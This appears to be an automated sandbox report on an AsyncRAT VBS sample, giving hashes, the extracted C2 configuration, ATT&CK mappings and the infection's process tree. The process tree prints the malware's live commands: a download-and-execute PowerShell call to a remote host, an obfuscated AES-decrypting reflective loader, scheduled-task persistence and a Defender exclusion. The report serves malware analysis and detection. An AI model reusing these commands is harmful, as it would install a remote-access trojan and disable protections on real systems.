asyncrat | 18953637935c5dd79eeb9783f6d96fef1746fdd9cb5d3b449ef8f9a16af8758f

Analysis

max time kernel
108s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 17:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6890_output.vbs
Size

46KB
MD5

653bf44f38fbe35cb4a51a366cce85e1
SHA1

5f08110e8b8174d62eb8beb3d8eedf507dc6471c
SHA256

0442d85e2af50c1f41e7cbf46850a204cf7cfd49eb5f0244e8b60cc28c313c24
SHA512

ed5c78d769eed4667ce8cceb14af498fcf41c36db88e47611f2157708513955a188a9aa60404cb99f632ca2b10596dfad60df3a9320083b92da14529ebdded19
SSDEEP

768:msJNohJ2GoBFClzkP/TFYgZutKI/OLixhGpOQU40GmaXQq9+RfomiJrW7PuA9:mTWGsClzkmtKIxGp1UOmWYfomiKH

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:55644

Mutex

WzRdrlEJS302

Attributes

delay
3
install
true
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1108-203-0x0000000005550000-0x0000000005562000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2404	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2404	powershell.exe
4400	powershell.exe
3612	powershell.exe
4912	powershell.exe
4984	powershell.exe
3676	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
380	dwmm.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dwmm.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
3356	timeout.exe
5000	timeout.exe
3896	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4044	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2728	schtasks.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
2404	powershell.exe
2404	powershell.exe
4400	powershell.exe
4400	powershell.exe
4020	powershell.exe
4020	powershell.exe
3612	powershell.exe
3612	powershell.exe
2904	powershell.exe
2904	powershell.exe
4912	powershell.exe
4912	powershell.exe
1108	powershell.exe
1108	powershell.exe
4984	powershell.exe
4984	powershell.exe
2704	powershell.exe
2704	powershell.exe
3676	powershell.exe
3676	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
380	dwmm.exe
380	dwmm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	4044	taskkill.exe
Token: SeDebugPrivilege	4020	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeIncreaseQuotaPrivilege	2904	powershell.exe
Token: SeSecurityPrivilege	2904	powershell.exe
Token: SeTakeOwnershipPrivilege	2904	powershell.exe
Token: SeLoadDriverPrivilege	2904	powershell.exe
Token: SeSystemProfilePrivilege	2904	powershell.exe
Token: SeSystemtimePrivilege	2904	powershell.exe
Token: SeProfSingleProcessPrivilege	2904	powershell.exe
Token: SeIncBasePriorityPrivilege	2904	powershell.exe
Token: SeCreatePagefilePrivilege	2904	powershell.exe
Token: SeBackupPrivilege	2904	powershell.exe
Token: SeRestorePrivilege	2904	powershell.exe
Token: SeShutdownPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeSystemEnvironmentPrivilege	2904	powershell.exe
Token: SeRemoteShutdownPrivilege	2904	powershell.exe
Token: SeUndockPrivilege	2904	powershell.exe
Token: SeManageVolumePrivilege	2904	powershell.exe
Token: 33	2904	powershell.exe
Token: 34	2904	powershell.exe
Token: 35	2904	powershell.exe
Token: 36	2904	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeIncreaseQuotaPrivilege	4912	powershell.exe
Token: SeSecurityPrivilege	4912	powershell.exe
Token: SeTakeOwnershipPrivilege	4912	powershell.exe
Token: SeLoadDriverPrivilege	4912	powershell.exe
Token: SeSystemProfilePrivilege	4912	powershell.exe
Token: SeSystemtimePrivilege	4912	powershell.exe
Token: SeProfSingleProcessPrivilege	4912	powershell.exe
Token: SeIncBasePriorityPrivilege	4912	powershell.exe
Token: SeCreatePagefilePrivilege	4912	powershell.exe
Token: SeBackupPrivilege	4912	powershell.exe
Token: SeRestorePrivilege	4912	powershell.exe
Token: SeShutdownPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeSystemEnvironmentPrivilege	4912	powershell.exe
Token: SeRemoteShutdownPrivilege	4912	powershell.exe
Token: SeUndockPrivilege	4912	powershell.exe
Token: SeManageVolumePrivilege	4912	powershell.exe
Token: 33	4912	powershell.exe
Token: 34	4912	powershell.exe
Token: 35	4912	powershell.exe
Token: 36	4912	powershell.exe
Token: SeIncreaseQuotaPrivilege	4912	powershell.exe
Token: SeSecurityPrivilege	4912	powershell.exe
Token: SeTakeOwnershipPrivilege	4912	powershell.exe
Token: SeLoadDriverPrivilege	4912	powershell.exe
Token: SeSystemProfilePrivilege	4912	powershell.exe
Token: SeSystemtimePrivilege	4912	powershell.exe
Token: SeProfSingleProcessPrivilege	4912	powershell.exe
Token: SeIncBasePriorityPrivilege	4912	powershell.exe
Token: SeCreatePagefilePrivilege	4912	powershell.exe
Token: SeBackupPrivilege	4912	powershell.exe
Token: SeRestorePrivilege	4912	powershell.exe
Token: SeShutdownPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeSystemEnvironmentPrivilege	4912	powershell.exe
Token: SeRemoteShutdownPrivilege	4912	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 4500	1476	WScript.exe	82
PID 1476 wrote to memory of 4500	1476	WScript.exe	82
PID 4500 wrote to memory of 2404	4500	cmd.exe	84
PID 4500 wrote to memory of 2404	4500	cmd.exe	84
PID 2404 wrote to memory of 2872	2404	powershell.exe	86
PID 2404 wrote to memory of 2872	2404	powershell.exe	86
PID 2872 wrote to memory of 2412	2872	csc.exe	87
PID 2872 wrote to memory of 2412	2872	csc.exe	87
PID 2404 wrote to memory of 2992	2404	powershell.exe	88
PID 2404 wrote to memory of 2992	2404	powershell.exe	88
PID 1476 wrote to memory of 3088	1476	WScript.exe	102
PID 1476 wrote to memory of 3088	1476	WScript.exe	102
PID 3088 wrote to memory of 4856	3088	cmd.exe	104
PID 3088 wrote to memory of 4856	3088	cmd.exe	104
PID 4856 wrote to memory of 5032	4856	cmd.exe	106
PID 4856 wrote to memory of 5032	4856	cmd.exe	106
PID 4856 wrote to memory of 4020	4856	cmd.exe	107
PID 4856 wrote to memory of 4020	4856	cmd.exe	107
PID 4856 wrote to memory of 4020	4856	cmd.exe	107
PID 4020 wrote to memory of 3612	4020	powershell.exe	108
PID 4020 wrote to memory of 3612	4020	powershell.exe	108
PID 4020 wrote to memory of 3612	4020	powershell.exe	108
PID 4020 wrote to memory of 2904	4020	powershell.exe	109
PID 4020 wrote to memory of 2904	4020	powershell.exe	109
PID 4020 wrote to memory of 2904	4020	powershell.exe	109
PID 4020 wrote to memory of 4912	4020	powershell.exe	112
PID 4020 wrote to memory of 4912	4020	powershell.exe	112
PID 4020 wrote to memory of 4912	4020	powershell.exe	112
PID 4020 wrote to memory of 3908	4020	powershell.exe	114
PID 4020 wrote to memory of 3908	4020	powershell.exe	114
PID 4020 wrote to memory of 3908	4020	powershell.exe	114
PID 3908 wrote to memory of 3876	3908	cmd.exe	116
PID 3908 wrote to memory of 3876	3908	cmd.exe	116
PID 3908 wrote to memory of 3876	3908	cmd.exe	116
PID 3876 wrote to memory of 1896	3876	cmd.exe	118
PID 3876 wrote to memory of 1896	3876	cmd.exe	118
PID 3876 wrote to memory of 1896	3876	cmd.exe	118
PID 3876 wrote to memory of 1108	3876	cmd.exe	119
PID 3876 wrote to memory of 1108	3876	cmd.exe	119
PID 3876 wrote to memory of 1108	3876	cmd.exe	119
PID 1108 wrote to memory of 4984	1108	powershell.exe	120
PID 1108 wrote to memory of 4984	1108	powershell.exe	120
PID 1108 wrote to memory of 4984	1108	powershell.exe	120
PID 4856 wrote to memory of 3356	4856	cmd.exe	121
PID 4856 wrote to memory of 3356	4856	cmd.exe	121
PID 1108 wrote to memory of 2704	1108	powershell.exe	122
PID 1108 wrote to memory of 2704	1108	powershell.exe	122
PID 1108 wrote to memory of 2704	1108	powershell.exe	122
PID 1108 wrote to memory of 3676	1108	powershell.exe	124
PID 1108 wrote to memory of 3676	1108	powershell.exe	124
PID 1108 wrote to memory of 3676	1108	powershell.exe	124
PID 1108 wrote to memory of 5016	1108	powershell.exe	126
PID 1108 wrote to memory of 5016	1108	powershell.exe	126
PID 1108 wrote to memory of 5016	1108	powershell.exe	126
PID 1108 wrote to memory of 2848	1108	powershell.exe	127
PID 1108 wrote to memory of 2848	1108	powershell.exe	127
PID 1108 wrote to memory of 2848	1108	powershell.exe	127
PID 2848 wrote to memory of 5000	2848	cmd.exe	130
PID 2848 wrote to memory of 5000	2848	cmd.exe	130
PID 2848 wrote to memory of 5000	2848	cmd.exe	130
PID 5016 wrote to memory of 2728	5016	cmd.exe	131
PID 5016 wrote to memory of 2728	5016	cmd.exe	131
PID 5016 wrote to memory of 2728	5016	cmd.exe	131
PID 3876 wrote to memory of 3896	3876	cmd.exe	132

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6890_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2404
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tkoambz2\tkoambz2.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2872
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC1F8.tmp" "c:\Users\Admin\AppData\Local\Temp\tkoambz2\CSCAAEAC93E9E3459F9C383506DE4FFE1.TMP"
        5⤵
        
        PID:2412
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\vkjvk0yq.inf
      4⤵
      PID:2992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\c.bat';$HtXR='ChLohBanLohBgLohBeExLohBteLohBnsLohBiLohBoLohBnLohB'.Replace('LohB', ''),'EnakFatrakFayPakFaoinakFatakFa'.Replace('akFa', ''),'DZRsYeZRsYcZRsYomZRsYpZRsYreZRsYsZRsYsZRsY'.Replace('ZRsY', ''),'CoCMmrpCMmryCMmrTCMmroCMmr'.Replace('CMmr', ''),'GefhddtCfhddurfhddrenfhddtfhddPfhddrocfhddefhddssfhdd'.Replace('fhdd', ''),'EleBsgfmeBsgfntABsgftBsgf'.Replace('Bsgf', ''),'FrTYXjomBTYXjaseTYXj64TYXjStrTYXjingTYXj'.Replace('TYXj', ''),'ReCDPWaCDPWdCDPWLiCDPWnesCDPW'.Replace('CDPW', ''),'TraKWcknKWcksfoKWckrKWckmFKWckinKWckaKWcklBKWckloKWckcKWckkKWck'.Replace('KWck', ''),'MjblMajblMijblMnjblMMjblMojblMdjblMuljblMejblM'.Replace('jblM', ''),'SnrJTplinrJTtnrJT'.Replace('nrJT', ''),'CrOEfHeaOEfHtOEfHeDeOEfHcryOEfHptoOEfHrOEfH'.Replace('OEfH', ''),'LBxjCoBxjCadBxjC'.Replace('BxjC', ''),'IjtXpnvjtXpojtXpkjtXpejtXp'.Replace('jtXp', '');powershell -w hidden;function wyHTI($FyZFc){$vRVbM=[System.Security.Cryptography.Aes]::Create();$vRVbM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vRVbM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vRVbM.Key=[System.Convert]::($HtXR[6])('3eo8NN5tyKFa5visFn25QtJ0+4AjjFD7mC5TBO0PoNc=');$vRVbM.IV=[System.Convert]::($HtXR[6])('zdwkfoYoSPrzLDtsSJb42A==');$LDSfU=$vRVbM.($HtXR[11])();$ZfRpI=$LDSfU.($HtXR[8])($FyZFc,0,$FyZFc.Length);$LDSfU.Dispose();$vRVbM.Dispose();$ZfRpI;}function XfTte($FyZFc){$eHJHJ=New-Object System.IO.MemoryStream(,$FyZFc);$RoEKy=New-Object System.IO.MemoryStream;$bZzEN=New-Object System.IO.Compression.GZipStream($eHJHJ,[IO.Compression.CompressionMode]::($HtXR[2]));$bZzEN.($HtXR[3])($RoEKy);$bZzEN.Dispose();$eHJHJ.Dispose();$RoEKy.Dispose();$RoEKy.ToArray();}$FWOcx=[System.IO.File]::($HtXR[7])([Console]::Title);$ALHOl=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 5).Substring(2))));$wRWWL=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 6).Substring(2))));[System.Reflection.Assembly]::($HtXR[12])([byte[]]$wRWWL).($HtXR[1]).($HtXR[13])($null,$null);[System.Reflection.Assembly]::($HtXR[12])([byte[]]$ALHOl).($HtXR[1]).($HtXR[13])($null,$null); "
      4⤵
      PID:5032
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4020
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3612
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\c')
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2904
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 81503' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network81503Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4912
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network81503Man.cmd"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3908
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network81503Man.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3876
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network81503Man.cmd';$HtXR='ChLohBanLohBgLohBeExLohBteLohBnsLohBiLohBoLohBnLohB'.Replace('LohB', ''),'EnakFatrakFayPakFaoinakFatakFa'.Replace('akFa', ''),'DZRsYeZRsYcZRsYomZRsYpZRsYreZRsYsZRsYsZRsY'.Replace('ZRsY', ''),'CoCMmrpCMmryCMmrTCMmroCMmr'.Replace('CMmr', ''),'GefhddtCfhddurfhddrenfhddtfhddPfhddrocfhddefhddssfhdd'.Replace('fhdd', ''),'EleBsgfmeBsgfntABsgftBsgf'.Replace('Bsgf', ''),'FrTYXjomBTYXjaseTYXj64TYXjStrTYXjingTYXj'.Replace('TYXj', ''),'ReCDPWaCDPWdCDPWLiCDPWnesCDPW'.Replace('CDPW', ''),'TraKWcknKWcksfoKWckrKWckmFKWckinKWckaKWcklBKWckloKWckcKWckkKWck'.Replace('KWck', ''),'MjblMajblMijblMnjblMMjblMojblMdjblMuljblMejblM'.Replace('jblM', ''),'SnrJTplinrJTtnrJT'.Replace('nrJT', ''),'CrOEfHeaOEfHtOEfHeDeOEfHcryOEfHptoOEfHrOEfH'.Replace('OEfH', ''),'LBxjCoBxjCadBxjC'.Replace('BxjC', ''),'IjtXpnvjtXpojtXpkjtXpejtXp'.Replace('jtXp', '');powershell -w hidden;function wyHTI($FyZFc){$vRVbM=[System.Security.Cryptography.Aes]::Create();$vRVbM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vRVbM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vRVbM.Key=[System.Convert]::($HtXR[6])('3eo8NN5tyKFa5visFn25QtJ0+4AjjFD7mC5TBO0PoNc=');$vRVbM.IV=[System.Convert]::($HtXR[6])('zdwkfoYoSPrzLDtsSJb42A==');$LDSfU=$vRVbM.($HtXR[11])();$ZfRpI=$LDSfU.($HtXR[8])($FyZFc,0,$FyZFc.Length);$LDSfU.Dispose();$vRVbM.Dispose();$ZfRpI;}function XfTte($FyZFc){$eHJHJ=New-Object System.IO.MemoryStream(,$FyZFc);$RoEKy=New-Object System.IO.MemoryStream;$bZzEN=New-Object System.IO.Compression.GZipStream($eHJHJ,[IO.Compression.CompressionMode]::($HtXR[2]));$bZzEN.($HtXR[3])($RoEKy);$bZzEN.Dispose();$eHJHJ.Dispose();$RoEKy.Dispose();$RoEKy.ToArray();}$FWOcx=[System.IO.File]::($HtXR[7])([Console]::Title);$ALHOl=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 5).Substring(2))));$wRWWL=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 6).Substring(2))));[System.Reflection.Assembly]::($HtXR[12])([byte[]]$wRWWL).($HtXR[1]).($HtXR[13])($null,$null);[System.Reflection.Assembly]::($HtXR[12])([byte[]]$ALHOl).($HtXR[1]).($HtXR[13])($null,$null); "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1896
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network81503Man')
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2704
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 81503' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network81503Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3676
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dwmm" /tr '"C:\Users\Admin\AppData\Roaming\dwmm.exe"' & exit
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5016
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "dwmm" /tr '"C:\Users\Admin\AppData\Roaming\dwmm.exe"'
        9⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2728
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB12.tmp.bat""
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2848
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        9⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:5000
        
        C:\Users\Admin\AppData\Roaming\dwmm.exe
        
        "C:\Users\Admin\AppData\Roaming\dwmm.exe"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:380
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /nobreak /t 1
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3896
  - - C:\Windows\system32\timeout.exe
      timeout /nobreak /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3356

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4400

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
928d36ad618a369ffebf44885d07cf81

SHA1
edf5a353a919c1873af8e6a0dfafa4c38c626975

SHA256
d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

SHA512
4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
21KB

MD5
a2970df1dcfccdd97f65aaa6c4fb001e

SHA1
ef6a5bc5e47bc169f43b487fb22403ac9da46803

SHA256
ff8f886280e11bbbd037402abf07b4290781b3aef09dbd44f27cee551f33e46f

SHA512
6a353e8666e92e78b7e54c05d086bf453df688057d6a75118f27c991956a76379a0299ef04a0f603db21f5f179f324b38a630111e817dec932a42f38aebba2be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
21KB

MD5
e958f0d29a1e7d34ca280596b1ea088f

SHA1
86fce3ec2be952e3aa7f394dbc96fafbde784ada

SHA256
dd8edf8e55fbf04a349df6b0e6030f51d4a43bd81ad64b6e274c23c51871ab21

SHA512
